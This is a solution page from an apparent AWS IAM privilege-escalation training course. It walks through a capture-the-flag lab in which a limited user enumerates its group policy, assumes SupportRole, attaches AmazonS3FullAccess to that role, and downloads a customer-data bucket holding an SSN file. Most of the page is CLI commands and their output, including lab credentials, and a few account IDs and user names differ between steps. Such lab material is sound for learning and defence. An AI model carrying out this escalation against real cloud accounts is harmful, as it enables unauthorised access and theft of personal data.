Back to Course

AWS IAM Privilege Escalation Labs

0% Complete
0/0 Steps
  1. Introduction

    About this course
  2. Real-world case studies
  3. Useful IAM tips and security tools
  4. Introduction to AWS Enumeration
    [LAB] Getting Started with the AWS CLI
  5. [LAB] Introduction to AWS IAM Enumeration
  6. [Cheat Sheet] IAM Enumeration CLI Commands
  7. [LAB] Introduction to Secrets Manager Enumeration
  8. [Cheat Sheet] Secrets Manager Enumeration CLI Commands
  9. [LAB] Introduction to Amazon S3 Enumeration
  10. iam:CreateAccessKey
    [LAB] [CTF] iam:CreateAccessKey PrivEsc
  11. iam:CreateAccessKey Solution
  12. iam:CreateLoginProfile
    [LAB] [CTF] iam:CreateLoginProfile PrivEsc
  13. iam:CreateLoginProfile Solution
  14. iam:UpdateLoginProfile
    [LAB] [CTF] iam:UpdateLoginProfile PrivEsc
  15. iam:UpdateLoginProfile Solution
  16. iam:SetDefaultPolicyVersion
    [LAB] [CTF] iam:SetDefaultPolicyVersion PrivEsc
  17. iam:SetDefaultPolicyVersion Solution
  18. iam:AddUserToGroup
    [LAB] [CTF] iam:AddUserToGroup PrivEsc
  19. iam:AddUserToGroup Solution
  20. iam:AttachUserPolicy
    [LAB] [CTF] iam:AttachUserPolicy PrivEsc
  21. iam:AttachUserPolicy Solution
  22. iam:AttachGroupPolicy
    [LAB] [CTF] iam:AttachGroupPolicy PrivEsc
  23. iam:AttachGroupPolicy Solution
  24. iam:PutUserPolicy
    [LAB] [CTF] iam:PutUserPolicy PrivEsc
  25. iam:PutUserPolicy Solution
  26. iam:PutGroupPolicy
    [LAB] [CTF] iam:PutGroupPolicy PrivEsc
  27. iam:PutGroupPolicy Solution
  28. iam:AttachRolePolicy
    [LAB] [CTF] iam:AttachRolePolicy PrivEsc
  29. iam:AttachRolePolicy Solution
  30. iam:PutRolePolicy
    [LAB] [CTF] iam:PutRolePolicy PrivEsc
  31. iam:PutRolePolicy Solution
  32. Challenges
    About challenges
  33. Challenge #1 - Secrets Unleashed
  34. Challenge #2 - IAM Escape Room
  35. Conclusion
    What did you think of the course?
  36. What's next?
Lesson 29 of 36
In Progress

iam:AttachRolePolicy Solution

Christophe December 18, 2023

This lab doesn’t return a username so we need to know who we’re dealing with:

aws sts get-caller-identity

{
    "UserId": "AIDA5M7PA4Z576GCALD4D",
    "Account": "921234892411",
    "Arn": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
}

Code language: JavaScript (javascript)

Let’s try to enumerate what permissions we have.

aws iam list-user-policies --user-name iam-attachrolepolicy-privesc-1703266360190-Support-Mike

{
    "PolicyNames": []
}

Code language: PHP (php)

Nothing comes up, which means this user (our user) doesn’t have any inline policies. That means we must be getting our permissions from a Group. Let’s check it out:

aws iam list-groups-for-user --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect

{
    "Groups": [
        {
            "Path": "/",
            "GroupName": "iam-attachrolepolicy-privesc-1703266360190-Support",
            "GroupId": "AGPA5M7PA4Z52HQSXDKXZ",
            "Arn": "arn:aws:iam::921234892411:group/iam-attachrolepolicy-privesc-1703266360190-Support",
            "CreateDate": "2023-12-22T17:33:56+00:00"
        }
    ]
}

Code language: PHP (php)

That tells us exactly what our group is including the GroupName and Arn.

Let’s list out the policies attached to this group:

aws iam list-group-policies --group-name  iam-attachrolepolicy-privesc-1703266360190-Support

{
    "PolicyNames": [
        "iam-attachrolepolicy-privesc-1703266360190-policy"
    ]
}

Code language: PHP (php)

Now we can try to retrieve that policy:

aws iam get-group-policy --group-name iam-attachrolepolicy-privesc-1703266360190-Support --policy-name iam-attachrolepolicy-privesc-1703266360190-policy

{
    "GroupName": "iam-attachrolepolicy-privesc-1703266360190-Support",
    "PolicyName": "iam-attachrolepolicy-privesc-1703266360190-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Condition": {
                    "ForAllValues:ArnEquals": {
                        "iam:PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
                    },
                    "ArnEquals": {
                        "aws:PrincipalARN": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
                    }
                },
                "Action": [
                    "iam:AttachRolePolicy"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:role/SupportRole"
                ],
                "Effect": "Allow",
                "Sid": "AllowAttachRolePolicy"
            },
            {
                "Action": [
                    "sts:AssumeRole"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:role/SupportRole"
                ],
                "Effect": "Allow",
                "Sid": "AllowAssumeSupportRole"
            },
            {
                "Action": [
                    "iam:Listroles"
                ],
                "Resource": "*",
                "Effect": "Allow",
                "Sid": "AllowListRoles"
            },
            {
                "Action": [
                    "iam:ListGroupPolicies",
                    "iam:ListPolicies",
                    "iam:ListPolicyVersions",
                    "iam:ListUserPolicies",
                    "iam:ListUsers",
                    "iam:ListGroups",
                    "iam:ListGroupsForUser",
                    "iam:GetPolicy",
                    "iam:GetPolicyVersion",
                    "iam:GetRole",
                    "iam:GetRolePolicy",
                    "iam:GetUser",
                    "iam:GetUserPolicy",
                    "iam:GetGroupPolicy"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy"
                ],
                "Resource": [
                    "arn:aws:iam::921234892411:role/SupportRole"
                ],
                "Effect": "Allow",
                "Sid": "AllowListRolePolicies"
            }
        ]
    }
}

Code language: JavaScript (javascript)

I’ll let you take a look at what all is there, but we can see that we have the ability to attach a role policy:

"Action": [
      "iam:AttachRolePolicy"
],
"Resource": [
      "arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",

Code language: JavaScript (javascript)

For the specific role of

"arn:aws:iam::921234892411:role/SupportRole"

Code language: JSON / JSON with Comments (json)

That’s interesting and might indicate that we have the ability to administer and maybe even assume this role?

Let’s check out this role:

aws iam list-roles --query "Roles[?RoleName=='SupportRole']"

[
    {
        "Path": "/",
        "RoleName": "SupportRole",
        "RoleId": "AROA5M7PA4Z5XAI6WBDQZ",
        "Arn": "arn:aws:iam::921234892411:role/SupportRole",
        "CreateDate": "2023-12-22T17:33:36+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::921234892411:root"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "ArnEquals": {
                            "aws:PrincipalArn": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
                        }
                    }
                }
            ]
        },
        "Description": "Assumable role for internal support",
        "MaxSessionDuration": 3600
    }
]

Code language: PHP (php)

This command shows us that we do indeed have the ability to assume this role! Let’s do that, but first, let’s enumerate what policy or policies are associated with this role.

aws iam list-role-policies --role-name SupportRole

{
    "PolicyNames": [
        "AccessNOTSensitiveBucket"
    ]
}

Code language: PHP (php)
aws iam get-role-policy --role-name Supportrole --policy-name AccessNOTSensitiveBucket

{
    "RoleName": "Supportrole",
    "PolicyName": "AccessNOTSensitiveBucket",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "s3:ListBucket"
                ],
                "Resource": "arn:aws:s3:::cybr-operations-data-921234892411",
                "Effect": "Allow",
                "Sid": "AllowListSensitiveBucket"
            },
            {
                "Action": [
                    "s3:GetObject"
                ],
                "Resource": "arn:aws:s3:::cybr-operations-data-921234892411/*",
                "Effect": "Allow",
                "Sid": "AllowGetObjectsInSensitiveBucket"
            },
            {
                "Action": [
                    "s3:ListAllMyBuckets",
                    "s3:GetBucketLocation"
                ],
                "Resource": "*",
                "Effect": "Allow",
                "Sid": "AllowS3List"
            }
        ]
    }
}

Code language: JavaScript (javascript)

Ok so we can see that this role has a policy attached that grants access to S3 data. That’s a good sign, so let’s assume the role!

The way do to that is through the STS CLI command (https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html):

assume-role
--role-arn <value>
--role-session-name <value>

Code language: HTML, XML (xml)

We can pass in the role ARN which we just got back and we can give our session a name:

aws sts assume-role --role-arn arn:aws:iam::921234892411:role/SupportRole --role-session-name test

{
    "Credentials": {
        "AccessKeyId": "ASIA5M7PA4Z5XRJOLI7B",
        "SecretAccessKey": "Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9",
        "SessionToken": "IQoJb3JpZ2luX2VjEKr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCO7gw+wmQN4SFwQAZp1hbQH6ziDawpny9cFscbv+zcmAIgY+f9cqFxa4szRm0YY7Hb2FCHthHS/rS3G13V/...REDACTED",
        "Expiration": "2023-12-22T18:42:09+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA5M7PA4Z5XAI6WBDQZ:test",
        "Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
    }
}

Code language: JavaScript (javascript)

We can now use this information to make calls to the AWS environment using this role’s temporary credentials, like this:

aws configure --profile supportrole

AWS Access Key ID [None]: ASIA5M7PA4Z5XRJOLI7B
AWS Secret Access Key [None]: Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9
Default region name [None]: us-east-1
Default output format [None]: json

Code language: PHP (php)

And then we simply need to set the session token:

aws configure set aws_session_token <TOKEN HERE> --profile supportrole
Code language: HTML, XML (xml)

Don’t forget to set the session token for the --profile supportrole.

There’s a better way of setting and managing role and temporary tokens that you can read about here, but for this lab it’s not necessary.

We can verify that we’re using the correct profile and credentials with:

aws sts get-caller-identity --profile supportrole

{
    "UserId": "AROA5M7PA4Z5XAI6WBDQZ:test",
    "Account": "921234892411",
    "Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
}

Code language: JavaScript (javascript)

This should not return the initial user and should instead return an assumed-role arn, but then if you remove the --profile supportrole you’re right back to your initial user and permissions. Keep that in mind as you go through the rest of the lab as it’s easy to forget the profile option.

Since we saw that we had S3 access, let’s see what we can access:

aws s3 ls --profile supportrole

2023-12-22 10:32:51 cybr-customer-data-921234892411
2023-12-22 10:32:51 cybr-operations-data-921234892411

Code language: CSS (css)

Now let’s try to list the contents of each relevant bucket:

aws s3 ls s3://cybr-operations-data-921234892411 --profile supportrole
2023-12-22 10:33:28       1159 favicon.png
2023-12-22 10:33:28        301 index.html
2023-12-22 10:33:28        142 style.css

Code language: JavaScript (javascript)

(Don’t forget the --profile supportrole or it won’t work)

Now let’s try to list the contents of the other bucket:

aws s3 ls s3://cybr-customer-data-921234892411 --profile supportrole

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Code language: JavaScript (javascript)

So we have access to one of the buckets but not the other, and the bucket we have access to only contains files that we are meant to have access to for our support role and that are most likely public anyway:

  • index.html
  • style.css
  • favicon.png

Clearly we do not have sufficient permissions.

That’s where AttachRolePolicy comes into play, so let’s use it now.

For this command, remember that you need to use your IAM user’s credentials, not the role, so remove the --profile

We’re going to use this CLI command:

attach-role-policy
--role-name <value>
--policy-arn <value>

Code language: HTML, XML (xml)

We can do:

aws iam attach-role-policy \
--role-name SupportRole \
--policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess

Code language: PHP (php)

We won’t get any response back if it succeeds, but we can verify by trying to list the contents of that sensitive bucket:

aws s3 ls s3://cybr-customer-data-272281913033 --profile supportrole
2023-12-21 14:19:00        817 customers.txt
2023-12-21 14:19:00        288 ssn.csv

Code language: JavaScript (javascript)

(If it still gives an access denied error, give it a few seconds and try again. There is often a slight delay in permissions propagating through AWS)

We can now try to download this data:

aws s3 sync s3://cybr-customer-data-272281913033 ~/Downloads --profile supportrole

download: s3://cybr-customer-data-272281913033/customers.txt to Downloads/customers.txt
download: s3://cybr-customer-data-272281913033/ssn.csv to Downloads/ssn.csv

Code language: JavaScript (javascript)

And there you go! Congrats on capturing the flag! Go ahead and submit it by copy/pasting the credit card number for ‘Richard Gibson.’

By the way, you could also potentially use:

aws iam list-attached-role-policies --role-name SupportRole

Code language: PHP (php)

To list out managed policies attached to a role to see that AttachRolePolicy worked, but in this case, the lab permissions won’t let you do that:

An error occurred (AccessDenied) when calling the ListAttachedRolePolicies operation: User: arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike is not authorized to perform: iam:ListAttachedRolePolicies on resource: role SupportRole because no permissions boundary allows the iam:ListAttachedRolePolicies action

We have sufficient proof that the exploit worked, but just wanted to mention that before wrapping up.

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.